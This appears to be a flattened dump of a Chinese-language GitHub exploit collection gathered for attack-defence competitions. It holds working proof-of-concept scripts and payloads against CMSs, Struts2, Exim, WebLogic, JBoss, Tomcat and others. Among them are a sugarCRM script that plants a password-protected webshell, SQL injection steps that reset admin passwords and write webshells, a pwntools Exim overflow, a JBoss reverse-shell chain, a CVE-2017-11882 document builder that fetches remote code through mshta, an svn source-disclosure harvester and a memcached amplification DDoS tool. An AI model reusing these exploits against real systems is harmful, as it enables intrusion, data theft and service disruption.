├── CMS ├── Discuz │ └── Discuz_v3.4 │ │ ├── README.md │ │ └── form.php ├── PHPcms │ └── v9.6.0 │ │ ├── README.md │ │ └── php_v9.6.0_getshell.py ├── Seacms │ └── Seacms_v6.54 │ │ ├── README.md │ │ └── Seacms_v6.54_exp.py ├── DeDeCMS │ └── DeDeCMS_v5.7_sp2 │ │ └── Any_user_passwd_reset │ │ └── README.md ├── Joomla │ ├── Joomla_v3.7.5 │ │ ├── README.md │ │ └── Joomla_v3.7.5.php │ └── Joomla_v3.4.6 │ │ └── README.md ├── sugarCRM │ ├── sugarCRM_v6.5.23 │ │ ├── README.md │ │ └── sugarCRM_v6.5.23_exp.py │ └── sugarCRM_v6.5.26 │ │ └── README.md ├── Drupal │ └── Drupal_CVE-2018-7600_v8.5.0 │ │ ├── README.md │ │ ├── CVE-2018-7600.py │ │ └── CVE-2018-7600plus.py ├── Electron │ └── CVE-2018-1000006 │ │ ├── poc.html │ │ └── README.md ├── PHPMyWind │ └── 2014-2017 │ │ └── README.md ├── WordPress │ ├── WordPress_v4.7.4 │ │ └── README.md │ └── WordPress_v4.8.2 │ │ └── README.md └── Ecshop │ └── Ecshop_2.7.x_3.6.x_RCE │ └── README.md ├── svn_file_disclosure ├── README.md └── svn_poc.py ├── struts2 ├── struts2-045-exp │ ├── README.md │ └── struts2-045.py └── struts2-048-exp │ ├── README.md │ └── struts2-048.py ├── CVE_EXP ├── Memcrashed-DDoS-Exploit │ ├── requirements.txt │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── Dockerfile │ ├── README.md │ └── Memcrashed.py ├── CVE-2015-1635 │ ├── README.md │ └── 在线测试源码.php ├── CVE-2018-5711-hanging-websites-by-a-harmful-gif │ ├── example │ │ └── poc.gif │ └── README.md ├── Exim │ ├── README.md │ └── Exim_4.8_4.9 │ │ ├── CVE-2017-16943_RCE.py │ │ └── CVE-2017-16944_DOS.py ├── OpenSSL心脏滴血漏洞 │ ├── README.md │ ├── Auto.py │ └── openssl.py ├── CVE-2017-17215 │ ├── README.md │ └── CVE-2017-17215.py ├── CVE-2018-2628 weblogic │ ├── readme.md │ └── CVE-2018-2628.py ├── CVE-2017-11882 │ ├── README.md │ ├── PS_shell.rb │ └── Command_CVE-2017-11882.py ├── CVE-2012-0053 │ ├── README.md │ └── CVE-2012-0053.js ├── CVE-2017-16995 Ubuntu 16.04 本地提权漏洞 │ ├── README.md │ └── upstream44.c └── Java_Debug_Wire_Potocol_remote_code │ ├── README.md │ └── java_jdwp_debugger.rb ├── ThinkPHP ├── ThinkPHP_v5.0.10-v3.2.3 │ ├── 1.png │ ├── 2.png │ └── README.md └── Thinkphp- 5.0.16 │ └── readme.md ├── JbossAS └── JbossAS_v5.x_v6.x_CVE-2017-12149 │ ├── JavaDeserH2HC │ ├── xstream-1.4.6.jar │ ├── commons-collections-3.2.1.jar │ ├── LICENSE │ ├── Alien.java │ ├── TestSerialize.java │ ├── TestDeserialize.java │ ├── SomeInvocationHandler.java │ ├── ForgottenClass.java │ ├── ExploitGadgetExample1.java │ ├── reverseShellMultiplatformCommonsCollections.xml │ ├── ExampleTransformersWithLazyMap.java │ ├── DnsWithCommonsCollections.java │ ├── SleepExample.java │ ├── ReverseShellCommonsCollectionsHashMap.java │ ├── README.md │ ├── ExampleCommonsCollections1.java │ └── VulnerableHTTPServer.java │ └── README.md ├── README.md ├── Tomcat ├── Tomcat-7.0.0-7.0.79 │ ├── README.md │ └── Tomcat-CVE-12615.py └── Tomcat-weekpassword.md ├── Ueditor └── Ueditor_.net_20180803 │ └── README.md ├── ImageMagick └── Ghostscript_9.23 │ └── README.md └── FCKeditor └── FCKeditor_2.6.3 └── exp_fckeditor_2.6.3.php /CMS/Discuz/Discuz_v3.4/README.md: -------------------------------------------------------------------------------- 1 | ## Discuz!x v_3.4以下 任意文件删除漏洞 2 | -------------------------------------------------------------------------------- /CMS/PHPcms/v9.6.0/README.md: -------------------------------------------------------------------------------- 1 | ## PHPcms v9.6.0 任意文件上传 可直接Getshell 2 | -------------------------------------------------------------------------------- /svn_file_disclosure/README.md: -------------------------------------------------------------------------------- 1 | ### 新版本svn文件泄露 利用.svn目录下的`wc.db`来读取任意文件 2 | -------------------------------------------------------------------------------- /struts2/struts2-045-exp/README.md: -------------------------------------------------------------------------------- 1 | ### `Usage : python struts2-045.py url cmd` 2 | -------------------------------------------------------------------------------- /struts2/struts2-048-exp/README.md: -------------------------------------------------------------------------------- 1 | ### 利用条件: 2 | * 目标站点需要存在struts2-showcase目录 3 | -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/requirements.txt: -------------------------------------------------------------------------------- 1 | scapy==2.4.0rc5 2 | shodan==1.7.7 3 | -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/Memcrashed-DDoS-Exploit/1.png -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/Memcrashed-DDoS-Exploit/2.png -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/Memcrashed-DDoS-Exploit/3.png -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/Memcrashed-DDoS-Exploit/4.png -------------------------------------------------------------------------------- /ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/1.png -------------------------------------------------------------------------------- /ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/2.png -------------------------------------------------------------------------------- /CMS/Seacms/Seacms_v6.54/README.md: -------------------------------------------------------------------------------- 1 | ### 漏洞详情: 2 | * 漏洞位于`search.php`处,`echoSearchPage()函数对html中的searchpage标签进行了多次的替换,多次替换过程中不断组合形成payload` 3 | -------------------------------------------------------------------------------- /CMS/DeDeCMS/DeDeCMS_v5.7_sp2/Any_user_passwd_reset/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CMS/DeDeCMS/DeDeCMS_v5.7_sp2/Any_user_passwd_reset/README.md -------------------------------------------------------------------------------- /CVE_EXP/CVE-2015-1635/README.md: -------------------------------------------------------------------------------- 1 | # Microsoft Windows HTTP.sys(CVE-2015-1635) 2 | 3 | 蓝屏POC: 4 | * `wget http://www.host.com --header="Range: bytes=0-18446744073709551615"` 5 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2018-5711-hanging-websites-by-a-harmful-gif/example/poc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/CVE_EXP/CVE-2018-5711-hanging-websites-by-a-harmful-gif/example/poc.gif -------------------------------------------------------------------------------- /CVE_EXP/Exim/README.md: -------------------------------------------------------------------------------- 1 | # Exim 2 | 3 | ## 简介 4 | * Exim是由剑桥大学Philip Hazel开发的邮件传输代理,负责邮件的路由,转发和投递。它可运行在绝大多数的类Unix系统上,包括Solaris、AIX、Linux、macOS等。相比其他MTA,Exim配置更灵活,支持String Expansion技术,能执行诸如条件判断,字符转换等功能。 5 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/xstream-1.4.6.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/xstream-1.4.6.jar -------------------------------------------------------------------------------- /CMS/Joomla/Joomla_v3.7.5/README.md: -------------------------------------------------------------------------------- 1 | ### 漏洞详情: 2 | * LDAP注入漏洞(盲注) 3 | 4 | ### 漏洞利用条件: 5 | * `Joomla! 1.5 <= 3.7.5` 6 | 7 | * Joomla!配置通过LDAP认证 8 | 9 | * 该漏洞不是由配置缺陷造成,攻击者不需要任何权限就可以利用此漏洞。 10 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/commons-collections-3.2.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MisakiKata/POC-Collect/master/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/commons-collections-3.2.1.jar -------------------------------------------------------------------------------- /CVE_EXP/OpenSSL心脏滴血漏洞/README.md: -------------------------------------------------------------------------------- 1 | ### OpenSSL心脏滴血漏洞利用工具 2 | 3 | ## 利用方法 4 | 5 | * 测试方法为`python openssl.py url` 如果显示server vul 说明存在 6 | 7 | * 自动获取信息并且将其存入data_1文件夹的txt中,`python Auto.py` 将Auto.py里面的Dict里面加入你想要测试的url.可以根据需求自己修改脚本。 8 | -------------------------------------------------------------------------------- /CMS/sugarCRM/sugarCRM_v6.5.23/README.md: -------------------------------------------------------------------------------- 1 | # sugarCRM反序列化漏洞(对象注入漏洞)绕过__wakeup 2 | 3 | ### 影响版本 `SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10` 4 | 5 | ### 修复建议: 6 | include/utils.php sugar_unserialize函数正则匹配修正为 /[oc]:[^:]*\d+:/i·· 7 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2017-17215/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-17215 2 | Usage: CVE-2017-12149.py http://targetip:37215/ 3 | I am so poor that cant afford to but a HUAWEI router XD so it is not tested on any machine~ 4 | but the exp technically should be working 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 0day 2 | * 各种开源CMS 各种版本的漏洞以及EXP 该项目将不断更新 3 | ## 为什么发起这个项目? 4 | 几个月前,我参加了一场AWD攻防比赛,发现提前收集POC对比赛有好处而且在收集这些payload的同时,也能学到许多东西. 5 | ## 问题反馈 6 | 在使用中有任何问题,欢迎反馈给我,可以用以下联系方式跟我交流 7 | * 邮件(MrSm1th@163.com) 8 | ### 如果你想共同维护这个项目? 9 | * 联系邮箱(MrSm1th@163.com) 10 | -------------------------------------------------------------------------------- /CMS/Drupal/Drupal_CVE-2018-7600_v8.5.0/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-7600 2 | 3 | ## THANKS 4 | 5 | * [https://github.com/g0rx/CVE-2018-7600-Drupal-RCE](https://github.com/g0rx/CVE-2018-7600-Drupal-RCE) 6 | 7 | ## POC 8 | 9 | * CVE-2018-7600.py为任意命令执行脚本 10 | * CVE-2018-7600plus.py为批量检测脚本 11 | 12 | -------------------------------------------------------------------------------- /CMS/Electron/CVE-2018-1000006/poc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | POC for CVE-2018-1000006 4 | 5 | 6 |

payload: chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc

7 | 8 | -------------------------------------------------------------------------------- /ThinkPHP/Thinkphp- 5.0.16/readme.md: -------------------------------------------------------------------------------- 1 | ## Thinkphp框架 < 5.0.16 存在sql注入 2 | 3 | ### Reference 4 | 5 | * https://paper.seebug.org/564/ 6 | 7 | ------------- 8 | ### poc 9 | 10 | ``` 11 | ip/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 12 | ``` 13 | 14 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2018-2628 weblogic/readme.md: -------------------------------------------------------------------------------- 1 | ## weblogic反序列化漏洞批量检测脚本 2 | --- 3 | ### Reference 4 | * https://xz.aliyun.com/t/2292 5 | 6 | 原本的脚本执行时 设置utf8还是一直报错  7 | 所以对内容进行了小小的修改 8 | 在fofa上搜索了一些网站进行测试 所得结果和绿盟在线检测一致 9 | 10 | --- 11 | 批量扫描的网站以 ip:port 的格式放在weblogic1.txt中 12 | 13 | 存在漏洞的网站会存在 weblogic1_success.txt中 14 | -------------------------------------------------------------------------------- /Tomcat/Tomcat-7.0.0-7.0.79/README.md: -------------------------------------------------------------------------------- 1 | ## Apache-Tomcat-CVE-12615 2 | 3 | * 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件 4 | 5 | * 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法`(例如,将 readonly 初始化参数由默认值设置为 false)`,攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。 6 | 7 | * 虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性`(如Linux下可用/ windows下空格)`来绕过了限制 8 | -------------------------------------------------------------------------------- /CVE_EXP/Memcrashed-DDoS-Exploit/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | RUN apk add --update python3 py3-pip git tcpdump 4 | 5 | RUN git clone https://github.com/649/Memcrashed-DDoS-Exploit.git Memcrashed 6 | WORKDIR Memcrashed 7 | # COPY requirements.txt . 8 | # COPY api.txt . 9 | # COPY bots.txt . 10 | RUN pip3 install -r requirements.txt 11 | 12 | ENTRYPOINT ["python3", "Memcrashed.py"] 13 | -------------------------------------------------------------------------------- /Tomcat/Tomcat-weekpassword.md: -------------------------------------------------------------------------------- 1 | ## Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下 2 | 后台地址默认为 `ip/manager/html` 3 | 4 | * Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。 5 | * Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。 6 | * Tomcat7默认有tomcat用户 密码为tomcat 拥有直接部署war文件的权限 可以直接上马 7 | * Tomcat8中正常安装的情况下默认没有任何用户,且manager页面只允许本地IP访问 8 | 9 | 10 | 修复方案: 11 | Tomcat的用户配置文件tomcat-users.xml中进行修改 12 | -------------------------------------------------------------------------------- /CVE_EXP/OpenSSL心脏滴血漏洞/Auto.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import time 4 | import threading 5 | while True: 6 | Dict = ["url"] #这里填写url 7 | for url in Dict: 8 | cmd = "python ./openssl.py "+url 9 | result = os.popen(cmd).read() 10 | if result.find("passWord")>0: 11 | print url,time.asctime() 12 | with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f: 13 | f.write(result) 14 | time.sleep(1) -------------------------------------------------------------------------------- /Ueditor/Ueditor_.net_20180803/README.md: -------------------------------------------------------------------------------- 1 | # Ueditor .net GetShell 2 | 3 | ## POC 4 | 5 | ```html 6 |
7 |

shell addr:

8 | 9 |
10 | ``` 11 | **先上传一张包含asp木马的正常图片,之后在shell addr中填入该图片的地址并在末尾加入?.aspx,如xxx.jpg?.aspx,提交后即可getshell** 12 | ## Enjoy 13 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2017-11882/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-11882 2 | ### 脚本来自于 3 | * [https://github.com/embedi/CVE-2017-11882](https://github.com/embedi/CVE-2017-11882) 4 | * Ridter[https://github.com/Ridter/CVE-2017-11882/](https://github.com/Ridter/CVE-2017-11882/) 5 | ## Usage 6 | ```txt 7 | python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc 8 | ``` 9 | use mshta 10 | ```txt 11 | python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc 12 | ``` 13 | -------------------------------------------------------------------------------- /CMS/sugarCRM/sugarCRM_v6.5.26/README.md: -------------------------------------------------------------------------------- 1 | ## 漏洞详情 2 | * SQL注入漏洞->modules/Emails/DetailView.php $query语句->$parent_id 中加入 \ 可绕过防护措施 * 3 | * CSRF+盲注 4 | * 对象注入 5 | * 认证文件泄露(任意文件读取)->modules/Connecors/controller.php->action_CallRest()函数->/index.php?...&module=CallRest&url=/etc/passwd 可读取配置文件 6 | ## 利用条件 : 7 | 1 3 4 只能通过一个有效的用户会话进行访问并利用 2 则可以直接利用 8 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2018-5711-hanging-websites-by-a-harmful-gif/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-5711 - Hanging Websites by a Harmful GIF 2 | 3 | ## Author : Orange Tsai 4 | 5 | ## Affected 6 | 7 | * PHP 5<5.6.33 8 | * PHP 7.0<7.0.27 9 | * PHP 7.1<7.1.13 10 | * PHP 7.2<7.2.1 11 | ## POC 12 | ``` 13 | $ curl -L https://git.io/vN0n4 | xxd -r > poc.gif 14 | $ php -r 'imagecreatefromgif("poc.gif");' 15 | 16 | Infinite loop here... 17 | ``` 18 | ## Reference 19 | * http://blog.orange.tw/2018/01/php-cve-2018-5711-hanging-websites-by.html 20 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2012-0053/README.md: -------------------------------------------------------------------------------- 1 | # Apache httpOnly Cookie Disclosure(CVE-2012-0053) 2 | 3 | ## POC 4 | * 来自[https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08](https://gist.github.com/pilate/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08) 5 | * [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053) 6 | 7 | ## 利用方法 8 | 9 | 1. 打开Google,访问存在此漏洞的网站。 10 | 2. F12开启控制台,Console,将CVE-2017-0053.js中的代码复制出来,并且放在Console中执行。 11 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2017-16995 Ubuntu 16.04 本地提权漏洞/README.md: -------------------------------------------------------------------------------- 1 | # Ubuntu 16.04 本地提权漏洞 2 | 3 | ## 影响 4 | ``` 5 | 经过分析,提权代码中所使用的漏洞是Linux eBPF验证器漏洞(CVE-2017-16995与CVE-2017-16996),最早在2017年12月由Google Project 0的研究人员Jann Horn发现并报告,影响Linux内核版本4.4~4.14。并且在当月,Bruce Leidl在github放出了能在内核版本4.11上实现提权的漏洞利用代码。 6 | 7 | 而近日,Vitaly Nikolenko公开的提权代码能够影响最新版本的Ubuntu 16.04,是因为该发行版使用的Linux内核版本是4.4,也受到漏洞影响,并且在漏洞报告后的3个月内,Ubuntu一直未修复,猜测可能和Jann Horn的最早漏洞报告中未提及漏洞对4.4版本内核的影响有关。 8 | ``` 9 | ## 利用 10 | 11 | ``` 12 | gcc -o pwned ./upstream44.c 13 | chmod 777 pwned 14 | ./pwned 15 | ``` -------------------------------------------------------------------------------- /CMS/Joomla/Joomla_v3.7.5/Joomla_v3.7.5.php: -------------------------------------------------------------------------------- 1 | LDAP查询中使用的用户名缺乏对输入内容的过滤,允许构造恶意内容进行LDAP查询。通过使用通配符和通过观察不同的身份验证错误消息,攻击者可以逐字地搜索登录凭据,方法是逐个发送一行有意义的字符串去不断猜测。 2 | XXX;(&(uid=Admin)(userPassword=A*)) 3 | XXX;(&(uid=Admin)(userPassword=B*)) 4 | XXX;(&(uid=Admin)(userPassword=C*)) 5 | ... 6 | XXX;(&(uid=Admin)(userPassword=s*)) 7 | ... 8 | XXX;(&(uid=Admin)(userPassword=se*)) 9 | ... 10 | XXX;(&(uid=Admin)(userPassword=sec*)) 11 | ... 12 | XXX;(&(uid=Admin)(userPassword=secretPassword)) 这个并不是POC 而是方法 13 | 14 | 15 | LDAP注入学习理解(http://www.cnblogs.com/bendawang/p/5156562.html) -------------------------------------------------------------------------------- /CVE_EXP/Exim/Exim_4.8_4.9/CVE-2017-16943_RCE.py: -------------------------------------------------------------------------------- 1 | # pip install pwntools 2 | from pwn import * 3 | 4 | r = remote('127.0.0.1', 25) 5 | 6 | r.recvline() 7 | r.sendline("EHLO test") 8 | r.recvuntil("250 HELP") 9 | r.sendline("MAIL FROM:") 10 | r.recvline() 11 | r.sendline("RCPT TO:") 12 | r.recvline() 13 | r.sendline('a'*0x1250+'\x7f') 14 | r.recvuntil('command') 15 | r.sendline('BDAT 1') 16 | r.sendline(':BDAT \x7f') 17 | s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) 18 | r.send(s+ ':\r\n') 19 | r.recvuntil('command') 20 | r.send('\n') 21 | r.interactive() 22 | -------------------------------------------------------------------------------- /CMS/Electron/CVE-2018-1000006/README.md: -------------------------------------------------------------------------------- 1 | # Electron 2 | 3 |

4 |

5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /CMS/PHPMyWind/2014-2017/README.md: -------------------------------------------------------------------------------- 1 | # PHPMyWind 2014-2017 getshell 2 | ## From 3 | * PHPMyWind SQL注入 无限制 [wooyun-2015-089760](http://www.loner.fm/bugs/bug_detail.php?wybug_id=wooyun-2015-089760) 4 | 5 | ## POC 6 | PS:POC 已做改动 7 | 8 | 0. 爆前缀 9 | ``` 10 | /member.php?a=quesfind 11 | POSTDATA:uname=testaa union select 1&answer=2 12 | ``` 13 | 14 | 1. 重置后台密码为 admin 15 | ``` 16 | /4g.php?m=show&cid=2&tbname=pmw_admin` SET password=0x6333323834643066393436303664653166643261663137326162613135626633 WHERE 1=1 or @`'` -- @`'` 17 | ``` 18 | 19 | 2. 后台 -> 数据库管理 -> 执行 SQL 20 | ``` 21 | insert into `pmw_webconfig`(`varname`, `varvalue`, `vartype`) values('test', 'file_put_contents("demo.php", \'\')', 'number') 22 | 执行完成后去站点管理创建一个站点 23 | webshell:/admin/demo.php 24 | ``` -------------------------------------------------------------------------------- /CVE_EXP/Java_Debug_Wire_Potocol_remote_code/README.md: -------------------------------------------------------------------------------- 1 | # Java Debug Wire Protocol remote code 2 | * [https://www.rapid7.com/db/modules/exploit/multi/misc/java_jdwp_debugger](https://www.rapid7.com/db/modules/exploit/multi/misc/java_jdwp_debugger) 3 | * [https://www.exploit-db.com/papers/27179/](https://www.exploit-db.com/papers/27179/) 4 | ## 验证 5 | `jdb -attach x.x.x.x:8000`执行成功就存在 6 | ## 利用 7 | ``` 8 | msfconsole 9 | msf > use exploit/multi/misc/java_jdwp_debugger 10 | msf exploit(java_jdwp_debugger) > show targets 11 | ...targets... 12 | msf exploit(java_jdwp_debugger) > set TARGET 13 | msf exploit(java_jdwp_debugger) > show options 14 | ...show and set options... 15 | msf exploit(java_jdwp_debugger) > exploit 16 | ``` 17 | 18 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README.md: -------------------------------------------------------------------------------- 1 | # JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149) 2 | * Github[https://github.com/joaomatosf/JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC) 3 | * [https://access.redhat.com/security/cve/cve-2017-12149](https://access.redhat.com/security/cve/cve-2017-12149) 4 | * 工具GUI[http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip](http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip) 5 | ## 漏洞利用 6 | 1: `javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java` 7 | 8 | 2: `java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port` //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件 9 | 10 | 3: 打开另外一个终端并且nc开始设置的反弹shell的IP 11 | 12 | 4: `curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser` 13 | -------------------------------------------------------------------------------- /CVE_EXP/Exim/Exim_4.8_4.9/CVE-2017-16944_DOS.py: -------------------------------------------------------------------------------- 1 | # ARCHIVE FROM https://bugs.exim.org/attachment.cgi?id=1052 2 | # Conversation 3 | # https://bugs.exim.org/show_bug.cgi?id=2199 4 | # https://bugs.exim.org/show_bug.cgi?id=2201 5 | # 6 | # 7 | # CVE-2017-16944 (Associated: CVE-2017-16943) 8 | # 9 | 10 | # pip install pwntools 11 | from pwn import * 12 | 13 | r = remote('localhost', 25) 14 | 15 | r.recvline() 16 | r.sendline("EHLO test") 17 | r.recvuntil("250 HELP") 18 | r.sendline("MAIL FROM:") 19 | r.recvline() 20 | r.sendline("RCPT TO:") 21 | r.recvline() 22 | #raw_input() 23 | r.sendline('a'*0x1100+'\x7f') 24 | #raw_input() 25 | r.recvuntil('command') 26 | r.sendline('BDAT 1') 27 | r.sendline(':BDAT \x7f') 28 | s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) 29 | r.send(s+ ':\r\n') 30 | r.recvuntil('command') 31 | #raw_input() 32 | r.send('\n') 33 | r.interactive() 34 | exit() -------------------------------------------------------------------------------- /CMS/WordPress/WordPress_v4.7.4/README.md: -------------------------------------------------------------------------------- 1 | # WordPress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞 2 | * 官方[https://wordpress.org/news/2017/05/wordpress-4-7-5/](https://wordpress.org/news/2017/05/wordpress-4-7-5/) 3 | * POC来自[https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e](https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e) 4 | ### POC 5 | ```php 6 | $usr = 'author'; 7 | $pwd = 'author'; 8 | $xmlrpc = 'http://local.target/xmlrpc.php'; 9 | $client = new IXR_Client($xmlrpc); 10 | $content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"5 %1$%s hello")); 11 | $res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content); 12 | ``` 13 | ## Excute The SQL Payload 14 | 以管理员的方式登陆 15 | 16 | `http://local.target/wp-admin/upload.php` 17 | 18 | `local.target/wp-admin/upload.php?_wpnonce=daab7cfabf&action=delete&media%5B%5D=5%20%251%24%25s%20hello` 19 | 20 | hello换成我们的Payload 21 | -------------------------------------------------------------------------------- /CMS/Joomla/Joomla_v3.4.6/README.md: -------------------------------------------------------------------------------- 1 | # Joomla远程代码执行漏洞 2 | ## 影响范围 3 | * `Joomla 1.5 to 3.4 all version` 4 | ## 分析 5 | * [https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html](https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html) 6 | * PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患[https://github.com/80vul/phpcodz/blob/master/research/pch-013.md](https://github.com/80vul/phpcodz/blob/master/research/pch-013.md) 7 | * `利用'𝌆'(%F0%9D%8C%86)字符将utf-8的字段截断.` 8 | ## POC 9 | ``` 10 | User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"ρhιτhσπpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆 11 | ``` 12 | -------------------------------------------------------------------------------- /svn_file_disclosure/svn_poc.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | import hackhttp 3 | import re 4 | import os 5 | import sys 6 | def GetFile(domain,Filename,sha1): 7 | hh = hackhttp.hackhttp() 8 | Url = domain+"/.svn/pristine/"+str(sha1)[0:2]+"/"+str(sha1)+".svn-base" 9 | a,b,c,d,e = hh.http(Url) 10 | fp = open(Filename,"w") 11 | fp.write(c) 12 | fp.close() 13 | if __name__ == '__main__': 14 | domain = sys.argv[1] 15 | i=0 16 | f = open("1.txt","r") 17 | while 1: 18 | i+=1 19 | print i 20 | line = f.readline() 21 | if not line: 22 | break 23 | else: 24 | dirs = "".join(re.findall(r'/dev/(.*?)\s',line)) 25 | sha1 = "".join(re.findall(r'\$sha1\$(.*?)\s',line)) 26 | Filename = "".join(re.findall(r'[^\\/:*?"<>|\r\n]+$',dirs)) 27 | Dir = dirs.replace(Filename,"") 28 | if os.path.exists(Dir): 29 | pass 30 | else: 31 | os.makedirs(Dir) 32 | 33 | if "." in dirs: 34 | GetFile(domain,dirs,sha1) 35 | f.close() 36 | -------------------------------------------------------------------------------- /CMS/sugarCRM/sugarCRM_v6.5.23/sugarCRM_v6.5.23_exp.py: -------------------------------------------------------------------------------- 1 | #coding = utf8 2 | 3 | #sugarCRM ver 6.5.23 4 | 5 | #Usage : python xxx.py url 6 | 7 | #author : Mr5m1th 8 | import requests as req 9 | import sys 10 | import warnings 11 | def exploit(url): 12 | exp_url = url + "/service/v4/rest.php" 13 | print "[*]exploit_url:"+exp_url 14 | data = { 15 | 'method': 'login', 16 | 'input_type': 'Serialize', 17 | 'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:16:"../custom/Mr.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"";}}', 18 | } 19 | try: 20 | req.post(exp_url, data=data,verify=False) 21 | except: 22 | print "[-]:error occured!"; 23 | if __name__ == '__main__': 24 | warnings.filterwarnings('ignore') 25 | main_url = sys.argv[1] 26 | exploit(main_url) 27 | if req.get(main_url+"/custom/Mr.php",verify=False).status_code==200: 28 | print "[*]exploit_success!shell: "+main_url+"/custom/Mr.php"+" "+"password:HHH" 29 | else: 30 | print "[-]exploit fail!" 31 | -------------------------------------------------------------------------------- 